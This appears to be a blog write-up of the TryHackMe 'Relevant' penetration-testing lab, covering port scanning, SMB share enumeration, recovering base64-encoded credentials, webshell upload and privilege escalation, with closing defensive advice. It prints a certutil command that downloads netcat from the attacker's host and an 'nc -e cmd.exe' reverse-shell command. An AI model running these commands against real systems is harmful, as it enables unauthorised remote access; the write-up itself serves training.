Relevant

Penetration Testing Challenge

Welcome to my new writeup of TryHackMe room Relevant

Challenge URL: https://tryhackme.com/room/relevant

Let’s start with nmap scan

nmap -sC -sV -oA Scan 10.10.198.203

· -sC means run default script

· -sV means default version

· -oA means output all format and save in file Scan

Above nmap scan gives us nothing, Let’s go for another nmap scan

Well above nmap scan shows number of ports open, Let’s go for another nmap scan, if it’s clear the picture for us.

Above nmap scan give us more clear picture. Let’s check the port one by one. Port 80 is running HTTP Server. When we visit the web server default Microsoft IIS Page appears.

Let’s run ffuf to enumerate directories. We have to run below command in order to run ffuf.

ffuf -u http://10.10.198.203/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

As ffuf is running, Let’s enumerate other ports also

Enumerate SMB

We have read and write right on nt4wrksv share. Let’s check it further.

Imp Note: I have to stop the machine several time and then start again due to that that ip of target machine got change.

We find something very interesting password.txt file, we can also put some malicious file also as we can write in that share also. We try it later as we check password.txt file first. In password.txt we find base64 decoded password. Let’s try to encode them first.

After decoding them we find two users Bob and Bill with their respective passwords. Let’s spray these credential against smb share.

Nothing new find, Let’s try to put reverse shell on nt4wrksv share.

Get Ajay Chhillar’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

First create reverse shell with the help of msfvenom

We have reverse shell, Let’s try to execute it.

Nothing happen, Let’s try other way.

I have copy cmdasp.aspx file which is already present in kali linux by default and put that file in smb share. Let’s check that

There are number of ways through which we got reverse shell to our terminal. We can upload netcat and try that, we can also set smbserver also. Let’s first try with netcat first.

certutil –urlcache –f –split http://10.17.67.131:80/nc64.exe C:\Windows\Tasks\nc.exe

Let’s use following command to get shell

C:\Windows\Tasks\nc.exe -e cmd.exe 10.17.67.131 9001

Finally we got shell!

We got user user.txt flag.

Privilege Escalation:

Privilege escalation is the process of gaining higher level of access or permission on a system than originally granted, often to exploit vulnerabilities and increase control over the system.

We execute whoami /priv command and see SeImpersonatePrivilege enabled.

Let’s use that vulnerabilities to get nt authority system.

We got root shell.

How to avoid this type of attack:

1) Software Updated (Patching)

2) Use Strong Credential

3) Anonymous login to Smb Share never allowed

4) Close Un-necessary Port

5) Conduct Regular Pentest

Thank you for reading my writeup on Relevant machine. I hope you learned lot from it.